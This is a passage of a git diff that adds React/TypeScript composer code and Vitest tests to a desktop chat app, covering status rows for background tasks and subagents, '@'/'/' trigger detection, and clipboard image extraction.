+          // wrapper geometry and mis-positions the tooltip (#62022).
+          <span className="inline-flex flex-col gap-0.5">
+            <span>{item.target}</span>
+            <span className="opacity-70">{t.preview.linkHint}</span>
+          </span>
+        }
+      >
+        <span className="min-w-0 max-w-[18rem] truncate text-[0.73rem] leading-4 text-foreground/92">{item.label}</span>
+      </Tip>
+    </StatusRow>
+  )
+})
diff --git a/ui-desktop/src/app/chat/composer/status-stack/status-row.tsx b/ui-desktop/src/app/chat/composer/status-stack/status-row.tsx
new file mode 100644
index 000000000..2c43743c4
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/status-stack/status-row.tsx
@@ -0,0 +1,171 @@
+import { Fragment, memo, type ReactNode } from 'react'
+
+import { openAgentTerminal } from '@/app/right-sidebar/terminal/terminals'
+import { StatusRow } from '@/components/chat/status-row'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { Tip } from '@/components/ui/tooltip'
+import { type Translations, useI18n } from '@/i18n'
+import { capitalize } from '@/lib/text'
+import type { TodoStatus } from '@/lib/todos'
+import { cn } from '@/lib/utils'
+import type { ComposerStatusItem } from '@/store/composer-status'
+
+const toolLabel = (name: string) => name.split('_').filter(Boolean).map(capitalize).join(' ') || name
+
+// Todo rows speak checkbox, not spinner-and-dot: a dashed ring while the item
+// is still open (pending), codicons once it resolves, a live spinner only on
+// the in-progress item.
+const TODO_GLYPHS: Record<Exclude<TodoStatus, 'in_progress' | 'pending'>, { icon: string; tone: string }> = {
+  cancelled: { icon: 'circle-slash', tone: 'text-muted-foreground/45' },
+  completed: { icon: 'pass-filled', tone: 'text-emerald-500/80' }
+}
+
+// Left slot: braille spinner while running, otherwise a small status dot
+// (green = done, red = failed) so the slot is always filled and rows align.
+function leadingGlyph(item: ComposerStatusItem, s: Translations['statusStack']): ReactNode {
+  if (item.type === 'goal') {
+    if (item.goalStatus === 'paused') {
+      return <Codicon className="text-muted-foreground/60" name="debug-pause" size="0.8rem" />
+    }
+
+    if (item.goalStatus === 'done') {
+      return <Codicon className="text-emerald-500/80" name="pass-filled" size="0.8rem" />
+    }
+
+    return (
+      <GlyphSpinner
+        ariaLabel={s.running}
+        className="text-[0.85rem] leading-none text-emerald-500/80"
+        spinner="braille"
+      />
+    )
+  }
+
+  if (item.todoStatus === 'pending') {
+    return (
+      <span
+        aria-hidden
+        className="box-border size-[0.7rem] rounded-full border border-dashed border-muted-foreground/60"
+      />
+    )
+  }
+
+  if (item.todoStatus && item.todoStatus !== 'in_progress') {
+    const glyph = TODO_GLYPHS[item.todoStatus]
+
+    return <Codicon className={glyph.tone} name={glyph.icon} size="0.8rem" />
+  }
+
+  if (item.state === 'running') {
+    return (
+      <GlyphSpinner
+        ariaLabel={s.running}
+        className="text-[0.85rem] leading-none text-muted-foreground/80"
+        spinner="braille"
+      />
+    )
+  }
+
+  return (
+    <span
+      aria-hidden
+      className={cn('size-1.5 rounded-full', item.state === 'failed' ? 'bg-destructive/80' : 'bg-emerald-500/70')}
+    />
+  )
+}
+
+interface StatusItemRowProps {
+  item: ComposerStatusItem
+  /** Clear a finished background task from the stack. */
+  onDismiss?: (id: string) => void
+  /** Open the subagent's own session window, livestreamed by the gateway's
+   *  child-session mirror (Agents view fallback for older gateways). */
+  onOpen?: () => void
+  /** Cancel a running background task. */
+  onStop?: (id: string) => void
+}
+
+/**
+ * Renders one {@link ComposerStatusItem} into the shared {@link StatusRow}.
+ * Memoised + keyed by id so parent re-renders never remount it (the spinner
+ * keeps ticking instead of resetting).
+ */
+export const StatusItemRow = memo(function StatusItemRow({ item, onDismiss, onOpen, onStop }: StatusItemRowProps) {
+  const { t } = useI18n()
+  const s = t.statusStack
+  const failed = item.state === 'failed'
+  const running = item.state === 'running'
+
+  const action =
+    item.type === 'background'
+      ? running
+        ? onStop && { label: s.stop, onClick: () => onStop(item.id) }
+        : onDismiss && { label: s.dismiss, onClick: () => onDismiss(item.id) }
+      : null
+
+  const canOpen = item.type === 'subagent' && !!onOpen
+
+  // Background rows link to their read-only terminal tab; subagents open their session.
+  const onActivate =
+    item.type === 'background' ? () => openAgentTerminal(item.id, item.title) : canOpen ? onOpen : undefined
+
+  return (
+    <Fragment>
+      <StatusRow
+        leading={leadingGlyph(item, s)}
+        onActivate={onActivate}
+        trailing={
+          action ? (
+            <Tip label={action.label}>
+              <Button
+                aria-label={action.label}
+                className="-my-1 size-4 rounded-md text-muted-foreground/60 hover:text-foreground/90"
+                onClick={event => {
+                  event.stopPropagation()
+                  action.onClick()
+                }}
+                size="icon-xs"
+                type="button"
+                variant="ghost"
+              >
+                <Codicon name="close" size="0.75rem" />
+              </Button>
+            </Tip>
+          ) : canOpen ? (
+            <Codicon aria-hidden className="text-muted-foreground/55" name="link-external" size="0.85rem" />
+          ) : undefined
+        }
+      >
+        <span
+          className={cn(
+            'min-w-0 max-w-[18rem] truncate text-[0.73rem] leading-4',
+            failed
+              ? 'text-destructive/90'
+              : item.todoStatus && item.todoStatus !== 'in_progress'
+                ? 'text-muted-foreground/75'
+                : 'text-foreground/92'
+          )}
+        >
+          {item.title}
+        </span>
+        {item.type === 'subagent' && item.currentTool && (
+          <span className="shrink-0 truncate text-[0.62rem] leading-4 text-muted-foreground/70">
+            {toolLabel(item.currentTool)}
+          </span>
+        )}
+        {item.type === 'goal' && item.currentTool && (
+          <span className="shrink-0 truncate text-[0.62rem] leading-4 text-muted-foreground/70">
+            {item.currentTool}
+          </span>
+        )}
+        {failed && typeof item.exitCode === 'number' && item.exitCode !== 0 && (
+          <span className="shrink-0 rounded bg-destructive/15 px-1 text-[0.58rem] font-semibold text-destructive tabular-nums">
+            {s.exit(item.exitCode)}
+          </span>
+        )}
+      </StatusRow>
+    </Fragment>
+  )
+})
diff --git a/ui-desktop/src/app/chat/composer/text-utils.test.ts b/ui-desktop/src/app/chat/composer/text-utils.test.ts
new file mode 100644
index 000000000..ffca3ba64
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/text-utils.test.ts
@@ -0,0 +1,264 @@
+import { describe, expect, it } from 'vitest'
+
+import { blobDedupeKey, detectTrigger, extractClipboardImageBlobs } from './text-utils'
+
+describe('detectTrigger', () => {
+  it('detects a bare slash trigger with an empty query', () => {
+    expect(detectTrigger('/')).toEqual({ kind: '/', query: '', tokenLength: 1, value: '' })
+  })
+
+  it('detects a slash command query', () => {
+    expect(detectTrigger('/skill')).toEqual({ kind: '/', query: 'skill', tokenLength: 6, value: 'skill' })
+  })
+
+  it('detects a bare at-mention trigger with an empty query', () => {
+    expect(detectTrigger('@')).toEqual({ kind: '@', query: '', tokenLength: 1, value: '' })
+  })
+
+  it('detects an at-mention query', () => {
+    expect(detectTrigger('@file')).toEqual({ kind: '@', query: 'file', tokenLength: 5, value: 'file' })
+  })
+
+  it('returns null for plain text', () => {
+    expect(detectTrigger('hello there')).toBeNull()
+  })
+
+  it('keeps the slash trigger live while typing args', () => {
+    expect(detectTrigger('/personality ')).toEqual({
+      kind: '/',
+      query: 'personality ',
+      tokenLength: 13,
+      value: 'personality '
+    })
+    expect(detectTrigger('/personality alic')).toEqual({
+      kind: '/',
+      query: 'personality alic',
+      tokenLength: 17,
+      value: 'personality alic'
+    })
+    expect(detectTrigger('/tools enable foo')).toEqual({
+      kind: '/',
+      query: 'tools enable foo',
+      tokenLength: 17,
+      value: 'tools enable foo'
+    })
+  })
+
+  it('does not treat file-style paths as slash triggers', () => {
+    expect(detectTrigger('src/foo/bar')).toBeNull()
+    expect(detectTrigger('/path/to/file')).toBeNull()
+    // Mid-message paths stay excluded too: a path keeps going past the command
+    // token, so the trailing-anchored inline trigger never matches it.
+    expect(detectTrigger('check src/foo/bar')).toBeNull()
+    expect(detectTrigger('look at /usr/local/bin')).toBeNull()
+    expect(detectTrigger('and/or')).toBeNull()
+  })
+
+  it('keeps the at-mention live while walking into subfolders', () => {
+    // A `/` inside the query is path navigation, not the end of the token —
+    // the popover has to stay open so the next directory level can load.
+    expect(detectTrigger('@./')).toEqual({ kind: '@', query: './', tokenLength: 3, value: './' })
+    expect(detectTrigger('@./src')).toEqual({ kind: '@', query: './src', tokenLength: 6, value: './src' })
+    expect(detectTrigger('@~/Desktop/')).toEqual({
+      kind: '@',
+      query: '~/Desktop/',
+      tokenLength: 11,
+      value: '~/Desktop/'
+    })
+    expect(detectTrigger('@/usr/local')).toEqual({
+      kind: '@',
+      query: '/usr/local',
+      tokenLength: 11,
+      value: '/usr/local'
+    })
+    expect(detectTrigger('@apps/desktop/src')).toEqual({
+      kind: '@',
+      query: 'apps/desktop/src',
+      tokenLength: 17,
+      value: 'apps/desktop/src'
+    })
+  })
+
+  it('treats a chip edge as a token boundary, like whitespace', () => {
+    // U+FFFC is textBeforeCaret's placeholder for a committed pill. Upstream
+    // assistant-ui's Lexical DirectivePlugin gets the same semantics from node
+    // boundaries: typing a trigger right after a chip (no space) still opens
+    // the popover, and a chip inside a token ends it.
+    expect(detectTrigger('\uFFFC@Desk')).toEqual({ kind: '@', query: 'Desk', tokenLength: 5, value: 'Desk' })
+    // Not position 0, so it's an inline reference — not a command invocation.
+    expect(detectTrigger('\uFFFC/cle')).toEqual({
+      inline: true,
+      kind: '/',
+      query: 'cle',
+      tokenLength: 4,
+      value: 'cle'
+    })
+    // The placeholder itself never leaks into a query.
+    expect(detectTrigger('@a\uFFFCb')).toBeNull()
+  })
+
+  it('splits a typed ref kind off as the browse scope', () => {
+    // `@folder:apps/` is ONE token with TWO parts. The kind is the mode the
+    // user is browsing in, so it's held as `scope` rather than left in `value`
+    // for every consumer to re-parse (or, worse, to preserve by hand).
+    expect(detectTrigger('@file:src/main.tsx')).toEqual({
+      kind: '@',
+      query: 'file:src/main.tsx',
+      scope: 'file',
+      tokenLength: 18,
+      value: 'src/main.tsx'
+    })
+    expect(detectTrigger('@folder:apps/')).toEqual({
+      kind: '@',
+      query: 'folder:apps/',
+      scope: 'folder',
+      tokenLength: 13,
+      value: 'apps/'
+    })
+    // A scope with nothing typed after it is the empty-browse state the
+    // popover renders a header for.
+    expect(detectTrigger('@url:')).toEqual({ kind: '@', query: 'url:', scope: 'url', tokenLength: 5, value: '' })
+  })
+
+  it('only treats a KNOWN kind as a scope', () => {
+    // `@teknium1:` is a handle with a colon, not a directive — inventing a
+    // scope for it would make Backspace eat the whole word.
+    expect(detectTrigger('@teknium1:')?.scope).toBeUndefined()
+    expect(detectTrigger('@teknium1:')?.value).toBe('teknium1:')
+    expect(detectTrigger('@localhost:8080')?.scope).toBeUndefined()
+  })
+
+  it('still ends the at-mention token at whitespace', () => {
+    // The token is whitespace-delimited; a path doesn't change that.
+    expect(detectTrigger('@./src and more')).toBeNull()
+    expect(detectTrigger('look at @apps/desktop')).toEqual({
+      kind: '@',
+      query: 'apps/desktop',
+      tokenLength: 13,
+      value: 'apps/desktop'
+    })
+  })
+
+  it('treats a mid-message slash as an inline reference', () => {
+    // Skills have to be reachable anywhere in a prompt, not just at position 0.
+    expect(detectTrigger('hello /')).toEqual({ kind: '/', inline: true, query: '', tokenLength: 1, value: '' })
+    expect(detectTrigger('hello /clean')).toEqual({
+      kind: '/',
+      inline: true,
+      query: 'clean',
+      tokenLength: 6,
+      value: 'clean'
+    })
+    expect(detectTrigger('text\n/skill')).toEqual({
+      kind: '/',
+      inline: true,
+      query: 'skill',
+      tokenLength: 6,
+      value: 'skill'
+    })
+  })
+
+  it('does not carry arg completion into an inline slash reference', () => {
+    // Only a position-0 slash is a real invocation, so `/personality alic`
+    // mid-message is prose — the trigger ends at the command token.
+    expect(detectTrigger('hello there /personality alic')).toBeNull()
+    expect(detectTrigger('run /tools enable foo')).toBeNull()
+  })
+
+  it('still anchors at-mention triggers strictly at the token edge', () => {
+    expect(detectTrigger('@file:path with space')).toBeNull()
+  })
+})
+
+describe('extractClipboardImageBlobs', () => {
+  it('dedupes the same image exposed on both items and files', () => {
+    const image = new File([new Uint8Array([1, 2, 3])], 'paste.png', {
+      type: 'image/png',
+      lastModified: 1_700_000_000_000
+    })
+
+    const clipboard = {
+      files: {
+        length: 1,
+        item: (index: number) => (index === 0 ? image : null)
+      },
+      getData: () => '',
+      items: [
+        {
+          kind: 'file',
+          type: 'image/png',
+          getAsFile: () => image
+        }
+      ]
+    } as unknown as DataTransfer
+
+    expect(extractClipboardImageBlobs(clipboard)).toEqual([image])
+  })
+
+  it('falls back to files when items has no image', () => {
+    const image = new File([new Uint8Array([4, 5])], 'shot.jpg', {
+      type: 'image/jpeg',
+      lastModified: 1_700_000_000_001
+    })
+
+    const clipboard = {
+      files: {
+        length: 1,
+        item: (index: number) => (index === 0 ? image : null)
+      },
+      getData: () => '',
+      items: []
+    } as unknown as DataTransfer
+
+    expect(extractClipboardImageBlobs(clipboard)).toEqual([image])
+  })
+
+  // A rich-text copy (Discord thread, web page, doc) carries prose plus whatever
+  // inline images the page decorated it with. That is a TEXT paste: attaching the
+  // page's placeholder graphics as composer images while the text vanished is the
+  // "blank attachments, no message" bug.
+  it('ignores inline HTML images when the copy carries its own text', () => {
+    const clipboard = {
+      files: { length: 0, item: () => null },
+      getData: (type: string) =>
+        type === 'text/html'
+          ? `<p>hello from the thread</p><img src="data:image/png;base64,${'A'.repeat(20_000)}">`
+          : 'hello from the thread',
+      items: []
+    } as unknown as DataTransfer
+
+    expect(extractClipboardImageBlobs(clipboard)).toEqual([])
+  })
+
+  it('keeps inline HTML images when the copy is image-only', () => {
+    const clipboard = {
+      files: { length: 0, item: () => null },
+      getData: (type: string) =>
+        type === 'text/html' ? `<img src="data:image/png;base64,${'A'.repeat(20_000)}">` : '',
+      items: []
+    } as unknown as DataTransfer
+
+    const blobs = extractClipboardImageBlobs(clipboard)
+
+    expect(blobs).toHaveLength(1)
+    expect(blobs[0]?.type).toBe('image/png')
+  })
+
+  it('drops sub-thumbnail inline images — spacers, trackers, blurhash placeholders', () => {
+    const clipboard = {
+      files: { length: 0, item: () => null },
+      getData: (type: string) => (type === 'text/html' ? `<img src="data:image/png;base64,${'A'.repeat(64)}">` : ''),
+      items: []
+    } as unknown as DataTransfer
+
+    expect(extractClipboardImageBlobs(clipboard)).toEqual([])
+  })
+})
+
+describe('blobDedupeKey', () => {
+  it('uses file metadata for File blobs', () => {
+    const file = new File([], 'a.png', { type: 'image/png', lastModified: 42 })
+
+    expect(blobDedupeKey(file)).toBe('file:a.png:0:image/png:42')
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/text-utils.ts b/ui-desktop/src/app/chat/composer/text-utils.ts
new file mode 100644
index 000000000..42af807c3
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/text-utils.ts
@@ -0,0 +1,231 @@
+import { DATA_IMAGE_URL_RE, dataUrlToBlob } from '@/lib/embedded-images'
+import { $reactionsEnabled } from '@/store/reactions-enabled'
+
+import { serializeTextBefore } from './rich-editor'
+
+export interface TriggerState {
+  /** True for a `/` typed mid-message — an inline skill/command reference in
+   *  prose rather than a command invocation. Arg completion doesn't apply. */
+  inline?: boolean
+  kind: '@' | '/' | ':'
+  query: string
+  /** The `@kind:` prefix the user scoped the browse to, when there is one. */
+  scope?: DirectiveScope
+  tokenLength: number
+  /** `query` minus the `scope:` prefix — the value actually being typed. */
+  value: string
+}
+
+/** Directive kinds the `@` popover can scope a browse to. Mirrors the starter
+ *  rows in use-at-completions and the gateway's `complete.path` prefixes. */
+export const DIRECTIVE_SCOPES = ['file', 'folder', 'url', 'image', 'tool', 'git'] as const
+
+export type DirectiveScope = (typeof DIRECTIVE_SCOPES)[number]
+
+// Picking "attach a folder" types `@folder:` into the editor, and everything
+// after it is the value being browsed. Parsing that prefix off the query is
+// what lets the rest of the composer treat it as the BROWSE MODE it is rather
+// than characters the user has to maintain by hand — Tab-descending has to
+// carry it down, Backspace has to drop it whole, and a chip landing on it has
+// to consume it.
+const AT_SCOPE_RE = new RegExp(`^(${DIRECTIVE_SCOPES.join('|')}):(.*)$`)
+
+// `@` triggers stop at the first whitespace — `@file:path` and `@diff` are
+// single tokens, and a path is part of that token: `@./src/`, `@~/Desktop/`,
+// and `@file:src/foo` all have to keep the popover live while the user walks
+// into subdirectories. Excluding `/` from the query class would end the token
+// at the first separator, which is exactly the "can't browse into a folder"
+// bug. Restricting the slash command name to `[a-zA-Z][\w-]*` avoids
+// matching file paths like `src/foo/bar`.
+//
+// `/` triggers fire in two shapes, because a slash means two different things
+// depending on where it sits:
+//
+//  - At position 0 it's a COMMAND invocation the app executes (SLASH_COMMAND_RE
+//    is `^`-anchored, and so is the backend's). The popover stays live past the
+//    command name so arg completion works (`/personality alic` → `alice`).
+//  - After whitespace it's an inline REFERENCE the user is dropping into prose
+//    ("clean this up with /clean"). The text submits as an ordinary message, so
+//    there are no args to complete — the trigger is a single token that ends at
+//    the next space, exactly like `@`.
+//
+// Only the FIRST slash can be an invocation, so the inline shape is tested
+// first: the command regex's argument tail (`(?:\s+\S*)*`) happily swallows a
+// later `/skill` as if it were an argument, which killed completion for every
+// slash after a leading command (`/work /cle` → nothing).
+//
+// The inline shape is what makes skills reachable anywhere in a prompt. Both
+// shapes need the trailing `$`: detection runs against the text BEFORE the
+// caret, so the match must end where the user is typing.
+//
+// U+FFFC is the placeholder textBeforeCaret emits for a committed chip. A chip
+// edge is a token boundary just like whitespace (upstream assistant-ui's
+// Lexical DirectivePlugin gets the same semantics from node boundaries), so
+// `@` or `/` typed immediately after a pill still opens the popover.
+const AT_TRIGGER_RE = /(?:^|[\s\uFFFC])(@)([^\s@\uFFFC]*)$/
+const SLASH_COMMAND_TRIGGER_RE = /^(\/)((?:[a-zA-Z][\w-]*(?:\s+\S*)*)?)$/
+const SLASH_INLINE_TRIGGER_RE = /[\s\uFFFC](\/)([a-zA-Z][\w-]*)?$/
+// `:joy` → emoji completions, Slack-style. Boundary-anchored so a mid-word
+// colon (`localhost:8080`, `note:`) never fires; two chars minimum so a bare
+// `:` or `:D` smiley doesn't open a popover the user didn't ask for.
+const EMOJI_TRIGGER_RE = /(?:^|[\s\uFFFC])(:)([a-zA-Z0-9_+-]{2,})$/
+
+const INLINE_IMAGE_SRC_RE = /<img\b[^>]*?\bsrc\s*=\s*["'](data:image\/[^"']+)["']/gi
+// Below this, an inline data URL is chrome rather than content — a spacer, a
+// 1×1 tracker, or a blurhash placeholder. Real pasted artwork clears it easily.
+const MIN_INLINE_IMAGE_BYTES = 4096
+
+/** Stable key for paste dedupe — `items` and `files` often mirror the same image as different objects. */
+export function blobDedupeKey(blob: Blob): string {
+  if (blob instanceof File) {
+    return `file:${blob.name}:${blob.size}:${blob.type}:${blob.lastModified}`
+  }
+
+  return `blob:${blob.size}:${blob.type}`
+}
+
+export function extractClipboardImageBlobs(clipboard: DataTransfer): Blob[] {
+  const blobs: Blob[] = []
+  const seen = new Set<string>()
+
+  const push = (blob: Blob | null) => {
+    if (!blob || blob.size === 0) {
+      return
+    }
+
+    const key = blobDedupeKey(blob)
+
+    if (seen.has(key)) {
+      return
+    }
+
+    seen.add(key)
+    blobs.push(blob)
+  }
+
+  if (clipboard.items?.length) {
+    for (const item of clipboard.items) {
+      if (item.kind === 'file' && item.type.startsWith('image/')) {
+        push(item.getAsFile())
+      }
+    }
+  }
+
+  // Chromium/Electron expose the same pasted image on both `items` and `files`.
+  if (blobs.length === 0 && clipboard.files?.length) {
+    for (let i = 0; i < clipboard.files.length; i += 1) {
+      const file = clipboard.files.item(i)
+
+      if (file && file.type.startsWith('image/')) {
+        push(file)
+      }
+    }
+  }
+
+  if (blobs.length > 0) {
+    return blobs
+  }
+
+  const text = clipboard.getData('text/plain').trim()
+
+  if (DATA_IMAGE_URL_RE.test(text)) {
+    push(dataUrlToBlob(text))
+
+    return blobs
+  }
+
+  // Inline `<img src="data:…">` in the clipboard's HTML — but only for a copy
+  // that carried no text of its own. A rich-text copy WITH prose is a text
+  // paste that happens to contain images, and its data URLs are the page's
+  // decorations rather than content: Discord ships a 32×5 blurhash placeholder
+  // beside every image embed, so copying a thread attached a blank thumbnail
+  // and (because an image paste swallows the event) dropped the text entirely.
+  if (!text) {
+    for (const match of clipboard.getData('text/html').matchAll(INLINE_IMAGE_SRC_RE)) {
+      const blob = dataUrlToBlob(match[1])
+
+      if (blob && blob.size >= MIN_INLINE_IMAGE_BYTES) {
+        push(blob)
+      }
+    }
+  }
+
+  return blobs
+}
+
+/** Caret-anchored text before the cursor, or null if the selection isn't a
+ *  collapsed caret inside `editor`.
+ *
+ *  Chips are ATOMIC to trigger detection: a committed pill must not leak its
+ *  label text into the string the trigger regexes see. A `/work` pill whose
+ *  label serialized into this text made the `^`-anchored command regex treat
+ *  everything after it as that command's argument — which silenced the `@`
+ *  popover for the rest of the message (`/work @Desk` → no trigger → the
+ *  typed path never chips and submits as plain text). Each chip contributes
+ *  an object-replacement placeholder instead, and <br> contributes a newline
+ *  so a trigger at the start of a wrapped line still detects. */
+export function textBeforeCaret(editor: HTMLDivElement): string | null {
+  const sel = window.getSelection()
+  const range = sel?.rangeCount ? sel.getRangeAt(0) : null
+
+  if (!range?.collapsed || !editor.contains(range.commonAncestorContainer)) {
+    return null
+  }
+
+  return serializeTextBefore(editor, range.startContainer, range.startOffset)
+}
+
+/** How many characters of directive scope the caret is sitting inside (`@url:`
+ *  with nothing typed after it), or 0. A paste lands INTO that scope: the scope
+ *  text is consumed rather than left in front of the chip as leftover syntax. */
+export function openDirectiveScope(editor: HTMLDivElement): number {
+  const trigger = detectTrigger(textBeforeCaret(editor) ?? '')
+
+  return trigger?.kind === '@' && trigger.scope && !trigger.value ? trigger.tokenLength : 0
+}
+
+export function detectTrigger(textBefore: string): TriggerState | null {
+  // An inline `/skill` is a reference dropped into prose, so it carries no args
+  // and the whole match is the token the chip replaces. Checked before the
+  // anchored command shape so a second slash isn't mistaken for the first
+  // command's argument.
+  const inline = SLASH_INLINE_TRIGGER_RE.exec(textBefore)
+
+  if (inline) {
+    const query = inline[2] ?? ''
+
+    return { inline: true, kind: '/', query, tokenLength: 1 + query.length, value: query }
+  }
+
+  const command = SLASH_COMMAND_TRIGGER_RE.exec(textBefore)
+
+  if (command) {
+    return { kind: '/', query: command[2], tokenLength: 1 + command[2].length, value: command[2] }
+  }
+
+  const at = AT_TRIGGER_RE.exec(textBefore)
+
+  if (at) {
+    const query = at[2]
+    const scoped = AT_SCOPE_RE.exec(query)
+
+    return {
+      kind: '@',
+      query,
+      ...(scoped ? { scope: scoped[1] as DirectiveScope } : {}),
+      tokenLength: 1 + query.length,
+      value: scoped ? (scoped[2] ?? '') : query
+    }
+  }
+
+  // After `@` so a directive starter's colon (`@file:`) stays an `@` query.
+  // Rides the reactions opt-in (Settings → Appearance) — both are one
+  // "emoji features" surface, off by default.
+  const emoji = $reactionsEnabled.get() ? EMOJI_TRIGGER_RE.exec(textBefore) : null
+
+  if (emoji) {
+    return { kind: ':', query: emoji[2], tokenLength: 1 + emoji[2].length, value: emoji[2] }
+  }
+
+  return null
+}
diff --git a/ui-desktop/src/app/chat/composer/trigger-popover-parity.test.tsx b/ui-desktop/src/app/chat/composer/trigger-popover-parity.test.tsx
new file mode 100644
index 000000000..e3f2ab08e
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/trigger-popover-parity.test.tsx
@@ -0,0 +1,151 @@
+import { render, screen } from '@testing-library/react'
+import { describe, expect, it, vi } from 'vitest'
+
+import { ComposerTriggerPopover } from './trigger-popover'
+
+vi.mock('@/i18n', () => ({
+  useI18n: () => ({
+    t: {
+      composer: {
+        lookupLoading: 'Loading…',
+        lookupNoMatches: 'No matches',
+        lookupTry: 'Try',
+        lookupOr: 'or'
+      }
+    }
+  })
+}))
+
+function atItem(type: string, display: string, rawText: string, meta = '') {
+  return {
+    id: `${rawText}|0`,
+    type,
+    label: display,
+    metadata: { icon: type, display, meta, rawText, insertId: display }
+  }
+}
+
+function slashItem(command: string, group: string, meta = '') {
+  return {
+    id: `${command}|0`,
+    type: 'slash',
+    label: command.slice(1),
+    metadata: { command, display: command, meta, group, action: '', rawText: command }
+  }
+}
+
+const noop = () => {}
+
+/** The rendered shape of one row: does it have an icon, and how is it laid out?
+ *  Icons are codicons — an `<i class="codicon codicon-<name>">`, not an SVG. */
+function rowShape(root: HTMLElement) {
+  const row = root.querySelector('button') as HTMLElement
+  const icon = row.querySelector('i.codicon')
+
+  return {
+    hasIcon: Boolean(icon),
+    iconName: icon?.className.match(/codicon-([\w-]+)/)?.[1],
+    classes: row.className
+  }
+}
+
+describe('@ and / are one menu', () => {
+  it('a slash row has an icon, just like an @ row', () => {
+    const at = render(
+      <ComposerTriggerPopover
+        activeIndex={0}
+        items={[atItem('folder', 'apps/desktop/', '@folder:apps/desktop/', 'dir')]}
+        kind="@"
+        loading={false}
+        onHover={noop}
+        onPick={noop}
+      />
+    )
+
+    const atShape = rowShape(at.container)
+    at.unmount()
+
+    const slash = render(
+      <ComposerTriggerPopover
+        activeIndex={0}
+        items={[slashItem('/work', 'Skills', 'Start in a worktree')]}
+        kind="/"
+        loading={false}
+        onHover={noop}
+        onPick={noop}
+      />
+    )
+
+    const slashShape = rowShape(slash.container)
+
+    // The whole point: `/` used to render a stacked, icon-less row.
+    expect(slashShape.hasIcon).toBe(true)
+    expect(atShape.hasIcon).toBe(true)
+    expect(slashShape.classes).toBe(atShape.classes)
+
+    // And the glyph reflects the kind, not one generic bullet.
+    expect(slashShape.iconName).toBe('zap')
+    expect(atShape.iconName).toBe('folder')
+  })
+
+  it('renders the name and description for both kinds', () => {
+    const { rerender } = render(
+      <ComposerTriggerPopover
+        activeIndex={0}
+        items={[slashItem('/work', 'Skills', 'Start in a worktree')]}
+        kind="/"
+        loading={false}
+        onHover={noop}
+        onPick={noop}
+      />
+    )
+
+    expect(screen.getByText('/work')).toBeTruthy()
+    expect(screen.getByText('Start in a worktree')).toBeTruthy()
+
+    rerender(
+      <ComposerTriggerPopover
+        activeIndex={0}
+        items={[atItem('file', 'src/main.tsx', '@file:src/main.tsx', 'src')]}
+        kind="@"
+        loading={false}
+        onHover={noop}
+        onPick={noop}
+      />
+    )
+
+    expect(screen.getByText('src/main.tsx')).toBeTruthy()
+    expect(screen.getByText('src')).toBeTruthy()
+  })
+
+  it('an emoji row stays icon-less — the emoji IS the icon', () => {
+    const { container } = render(
+      <ComposerTriggerPopover
+        activeIndex={0}
+        items={[{ id: ':joy:|0', type: 'emoji', label: '😂  :joy:', metadata: { display: '😂  :joy:' } }]}
+        kind=":"
+        loading={false}
+        onHover={noop}
+        onPick={noop}
+      />
+    )
+
+    expect(rowShape(container).hasIcon).toBe(false)
+  })
+
+  it('labels the active browse scope from the shared vocabulary', () => {
+    render(
+      <ComposerTriggerPopover
+        activeIndex={0}
+        items={[atItem('folder', 'apps/', '@folder:apps/', 'dir')]}
+        kind="@"
+        loading={false}
+        onHover={noop}
+        onPick={noop}
+        scope="folder"
+      />
+    )
+
+    expect(screen.getByText('Folders')).toBeTruthy()
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/trigger-popover.test.tsx b/ui-desktop/src/app/chat/composer/trigger-popover.test.tsx
new file mode 100644
index 000000000..79da0032c
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/trigger-popover.test.tsx
@@ -0,0 +1,57 @@
+import { cleanup, render, screen } from '@testing-library/react'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+
+import { I18nProvider } from '@/i18n'
+
+import { ComposerTriggerPopover } from './trigger-popover'
+
+function renderPopover(kind: '@' | '/', loading = false) {
+  const onHover = vi.fn()
+  const onPick = vi.fn()
+
+  const rendered = render(
+    <I18nProvider configClient={null} initialLocale="zh">
+      <ComposerTriggerPopover
+        activeIndex={0}
+        items={[]}
+        kind={kind}
+        loading={loading}
+        onHover={onHover}
+        onPick={onPick}
+      />
+    </I18nProvider>
+  )
+
+  return { ...rendered, onHover, onPick }
+}
+
+describe('ComposerTriggerPopover i18n', () => {
+  afterEach(() => {
+    cleanup()
+  })
+
+  it('renders localized empty lookup copy for @ references', () => {
+    const { container } = renderPopover('@')
+
+    expect(screen.getByText('没有匹配项。')).toBeTruthy()
+    expect(container.textContent).toContain('试试')
+    expect(container.textContent).toContain('@file:')
+    expect(container.textContent).toContain('或')
+    expect(container.textContent).toContain('@folder:')
+  })
+
+  it('renders localized loading copy for slash commands', () => {
+    renderPopover('/', true)
+
+    // While loading the popover shows only the spinner + loading copy — the
+    // `/help` empty-state hint is reserved for the resolved (not-loading) state.
+    expect(screen.getByText('查找中…')).toBeTruthy()
+  })
+
+  it('renders the slash empty-state hint when not loading', () => {
+    const { container } = renderPopover('/')
+
+    expect(screen.getByText('没有匹配项。')).toBeTruthy()
+    expect(container.textContent).toContain('/help')
+  })
+})
diff --git a/ui-desktop/src/app/chat/composer/trigger-popover.tsx b/ui-desktop/src/app/chat/composer/trigger-popover.tsx
new file mode 100644
index 000000000..32b403230
--- /dev/null
+++ b/ui-desktop/src/app/chat/composer/trigger-popover.tsx
@@ -0,0 +1,174 @@
+import type { Unstable_TriggerItem } from '@assistant-ui/core'
+import { Fragment } from 'react'
+
+import { referenceKind, referenceStyle } from '@/components/assistant-ui/reference-kinds'
+import { Codicon } from '@/components/ui/codicon'
+import { GlyphSpinner } from '@/components/ui/glyph-spinner'
+import { useI18n } from '@/i18n'
+import { cn } from '@/lib/utils'
+
+import { COMPLETION_DRAWER_BELOW_CLASS, COMPLETION_DRAWER_CLASS, CompletionDrawerEmpty } from './completion-drawer'
+import type { DirectiveScope } from './text-utils'
+
+interface RowMeta {
+  display?: string
+  group?: string
+  meta?: string
+}
+
+/** The kind a row represents, for its icon. `@` rows carry it as the item type;
+ *  `/` rows carry it as the completion group (Skills / Themes / Commands). */
